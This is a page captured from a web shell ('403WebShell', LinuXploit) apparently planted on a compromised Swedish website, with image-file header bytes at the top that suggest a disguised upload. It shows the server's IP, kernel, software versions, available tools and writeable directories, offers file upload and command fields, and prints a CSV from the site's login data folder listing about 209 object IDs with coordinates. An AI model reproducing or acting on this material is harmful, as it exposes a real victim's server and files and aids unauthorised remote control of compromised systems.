????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.217.114
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.supervision-online.se/login/data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.supervision-online.se/login/data/67b29235471494e20945ac47e0682d2f.csv
ObjektId	Rubrik/Namn	Lat	Long	Beskrivning
1	544:84-2	186235,9727	6476351,266	
2	544:92-5	185624,7695	6476074,012	
3	544:92-4	185682,6445	6476131,82	
4	544:81-3	185238,5703	6476341,395	
5	544:81-1	185294,4492	6476256,871	
6	544:81-2	185343,8828	6476185,969	
7	544:70-2	185136,7188	6476485,129	
8	543:18-2	184312,1055	6477963,488	
9	544:66-7	186950,6719	6476677,461	
10	544:66-5	186968,0898	6476657,801	
11	544:66-4	186906,0469	6476694,656	
12	544:66-3	186859,4609	6476736,641	
13	544:66-2	186831,8438	6476782,828	
14	544:85-3	186721,3906	6476225,023	
15	543:48-1	184369,3867	6477304,207	
16	543:19-7	184779,1523	6477844,199	
17	544:20-2	185067,6914	6477808,152	
18	544:20-5	185152,793	6477800,746	
19	543:68-1	184523,1914	6476805,5	
20	543:89-2	184771,4609	6476275,109	
21	543:79-1	184577,4063	6476618,594	
22	543:69-1	184773,3438	6476829,566	
23	543:48-4	184261,9141	6477287,281	
24	543:38-1	184492,7656	6477351,723	
25	543:28-1	184528,4414	6477769,461	
26	543:29-2	184774,6328	6477787,383	
27	543:19-3	184751,2422	6477976,984	
28	543:19-5	184646,1055	6477873,023	
29	543:08-3	184456,4453	6478145,238	
30	554:06-2	186898,1641	6475870,715	
31	544:96-2	186838,3984	6475997,195	
32	544:95-1	186740,9297	6475984,047	
33	544:63-1	186088,3555	6476722,621	
34	544:62-1	185663,4531	6476783,887	
35	544:73-6	185986,4492	6476641,938	
36	544:92-7	185583,0742	6475937,441	
37	544:00-3	185161,5117	6478251,832	
38	534:90-2	184982,957	6478317,883	
39	544:01-1	185323,4766	6478080,973	
40	544:11-1	185394,8711	6477851,766	
41	544:31-7	185222,1523	6477579,93	
42	544:30-2	185136,6484	6477564,188	
43	544:10-4	184897,0625	6477973,758	
44	544:04-5	186220,6211	6478121,746	
45	544:01-2	185454,5273	6478110,711	
46	544:00-1	185155,3438	6478088,387	
47	544:23-5	186107,3438	6477700,66	
48	544:24-2	186249,1914	6477785,715	
49	544:21-6	185401,2656	6477618,594	
50	544:91-1	185434,3164	6475983,672	
51	544:23-15	186029,0352	6477617,641	
52	544:72-2	185732,3242	6476556,059	
53	544:70-6	185126,9531	6476629,406	
54	544:64-1	186477,4844	6476802,781	
55	544:63-6	186100,2617	6476831,578	
56	544:60-3	184946,0508	6476758,902	
57	544:60-1	184912,2539	6476840,57	
58	544:56-3	186922,3047	6476933,66	
59	544:54-5	186446,3203	6476975,621	
60	544:53-4	186081,4492	6476885,242	
61	544:50-3	185011,5781	6476912,648	
62	544:44-1	186286,457	6477298,82	
63	544:43-2	185966,6406	6477308,574	
64	544:74-1	186481,5195	6476455,508	
65	544:92-6	185543,1914	6475968,898	
66	544:00-2	185039,7305	6478091,461	
67	543:17-1	184120,4219	6478040,078	
68	544:32-5	185686,9102	6477488,77	
69	544:32-4	185762,1758	6477430,102	
70	544:32-2	185788,1523	6477597,723	
71	544:32-6	185635,5898	6477367,574	
72	544:20-1	185016,5664	6477823,324	
73	544:20-3	185089,7148	6477799,676	
74	544:20-4	185105,582	6477799,832	
75	544:20-7	185108,8984	6477797,691	
76	544:20-6	185049,5273	6477703,133	
77	554:17-2	187188,457	6475671,551	
78	554:07-1	187315,7344	6475745,164	
79	544:40-1	184894,7734	6477337,539	
80	544:35-3	186698,582	6477517,633	
81	544:35-5	186516,375	6477485,059	
82	544:34-4	186253,4961	6477434,313	
83	544:34-1	186218,2109	6477596,082	
84	544:33-6	185892,0938	6477591,457	
85	544:32-7	185534,1172	6477433,137	
86	544:31-6	185318,1641	6477487,805	
87	543:07-2	184128,9766	6478186,91	
88	543:89-3	184689,0977	6476384,855	
89	543:79-2	184634,4766	6476500,398	
90	543:69-2	184715,9922	6476827,07	
91	543:69-5	184686,7148	6476673,461	
92	543:69-3	184580,5273	6476813,898	
93	543:69-4	184606,4141	6476735,5	
94	543:59-1	184876,25	6477034,211	
95	544:21-3	185289,75	6477596,273	
96	543:58-3	184504,207	6476866,973	
97	543:58-4	184479,293	6476940,93	
98	543:58-2	184465,3633	6476991,492	
99	543:58-1	184447,6367	6477055,211	
100	543:57-1	184224,4883	6477096,191	
101	543:49-1	184868,1016	6477131,676	
102	543:48-5	184420,0664	6477115,223	
103	543:48-2	184404,4766	6477180,535	
104	543:48-3	184294,1992	6477320,676	
105	543:38-2	184274,6328	6477354,668	
106	543:28-4	184368,9961	6477624,285	
107	543:28-3	184433,8594	6477689,867	
108	543:28-2	184489,6484	6477735,773	
109	543:39-2	184624,5664	6477413,852	
110	543:39-1	184759,25	6477437,574	
111	543:19-1	184593,1523	6477827,105	
112	543:19-4	184677,6836	6477901,434	
113	543:19-6	184844,6406	6477913,84	
114	543:09-1	184667,5313	6478289,965	
115	543:08-2	184491,5078	6478104,926	
116	543:08-1	184349,6875	6478227,125	
117	554:06-1	186860,8633	6475920,387	
118	544:96-1	186823,6211	6476064,926	
119	544:95-2	186665,5352	6475969,008	
120	544:92-1	185701,6055	6476122,152	
121	544:85-4	186621,5898	6476234,402	
122	544:85-2	186713,207	6476279,785	
123	544:85-5	186695,6641	6476340,246	
124	544:85-1	186681,6523	6476404,766	
125	544:84-1	186290,8242	6476366,523	
126	544:83-4	185888,1328	6476230,094	
127	544:82-3	185742,6992	6476169,75	
128	544:76-1	187019,6992	6476514,082	
129	544:75-4	186508,4531	6476638,867	
130	544:73-7	186104,3711	6476491,559	
131	544:73-5	185867,332	6476551,43	
132	544:72-1	185742,4023	6476527,84	
133	544:71-1	185223,4766	6476552,148	
134	544:70-1	185094,0391	6476546,566	
135	544:65-3	186734,5078	6476766,441	
136	544:65-4	186757,4375	6476686,684	
137	544:63-2	185976,5	6476862,059	
138	544:63-5	185974,7891	6476690,352	
139	544:60-4	185021,1758	6476651,086	
140	544:60-5	185084,1328	6476692,563	
141	544:60-2	184918,8125	6476822,445	
142	544:56-1	186893,0078	6477061,531	
143	544:56-2	186967,4727	6477083,262	
144	544:54-4	186455,7109	6476936,043	
145	544:54-2	186280,207	6476929,547	
146	544:54-1	186246,1641	6477053,781	
147	544:54-7	186222,7617	6476896,965	
148	544:53-3	186111,1602	6476891,59	
149	544:53-2	186137,7148	6476897,547	
150	544:50-4	185121,2773	6476966,957	
151	544:50-1	184887,2734	6476979,398	
152	544:50-2	184905,3594	6476889,941	
153	544:32-1	185575,0547	6477563,539	
154	544:31-4	185222,8086	6477385,863	
155	544:30-4	185008,1172	6477533,25	
156	544:30-1	185060,8828	6477545,992	
157	544:30-5	185093,4844	6477422,59	
158	544:30-3	184900,5391	6477410,395	
159	544:14-2	186356,918	6477975,301	
160	544:14-3	186334,2578	6477955,855	
161	544:14-5	186248,5117	6477871,246	
162	544:14-6	186231,1602	6477936,742	
163	544:14-4	186229,9258	6477914,563	
164	544:14-7	186199,1758	6478011,578	
165	544:13-1	186092,6055	6477930,113	
166	544:13-5	186075,9922	6477973,039	
167	544:12-4	185580,1172	6478067,891	
168	544:11-2	185421,3008	6477865,41	
169	544:11-4	185470,9258	6478073,711	
170	544:10-3	184978,8008	6478036,543	
171	544:23-9	186017,8398	6477674,98	
172	544:23-6	186033,3516	6477689,992	
173	544:23-2	186140,5508	6477812,27	
174	544:24-9	186163,5703	6477749,594	
175	544:24-6	186224,9922	6477693,855	
176	544:21-4	185421,3125	6477623,121	
177	544:21-1	185347,9727	6477820,383	
178	544:21-2	185291,125	6477786,543	
179	544:21-7	185205,4336	6477800,602	
180	544:22-9	185662,9922	6477699,172	
181	544:22-5	185630,0508	6477701,848	
182	544:22-12	185796,6758	6477622,285	
183	544:22-11	185616,3711	6477650,148	
184	544:22-10	185614,0781	6477832,699	
185	544:24-10	186336,9336	6477620,992	
186	544:24-5	186421,3555	6477637,668	
187	544:24-8	186466,8047	6477825,25	
188	544:20-8	185042,2266	6477659,305	
189	543:68-2	184523,3633	6476789,641	
190	543:68-3	184532,6406	6476723,492	
191	543:89-1	184861,875	6476324,73	
192	544:46-1	186848,1719	6477299,813	
193	544:45-7	186662,0234	6477139,891	
194	544:45-11	186645,0195	6477147,867	
195	544:44-5	186390,3438	6477306,75	
196	544:44-2	186181,0625	6477294,695	
197	544:44-7	186248,875	6477164,117	
198	544:43-1	186151,8672	6477138,523	
199	544:43-3	186141,7695	6477194,262	
200	544:42-2	185794,918	6477354,898	
201	544:42-3	185764,3906	6477282,156	
202	544:35-1	186725,2539	6477403,855	
203	544:35-4	186682,0898	6477596,168	
204	544:35-2	186588,4961	6477497,359	
205	544:34-6	186372,1094	6477455,273	
206	544:34-3	186235,3477	6477511,094	
207	544:33-4	186045,9102	6477529,621	
208	544:33-5	186035,1602	6477583,84	
209	554:05-1	186678,6289	6475890,195	

Youez - 2016 - github.com/yon3zu
LinuXploit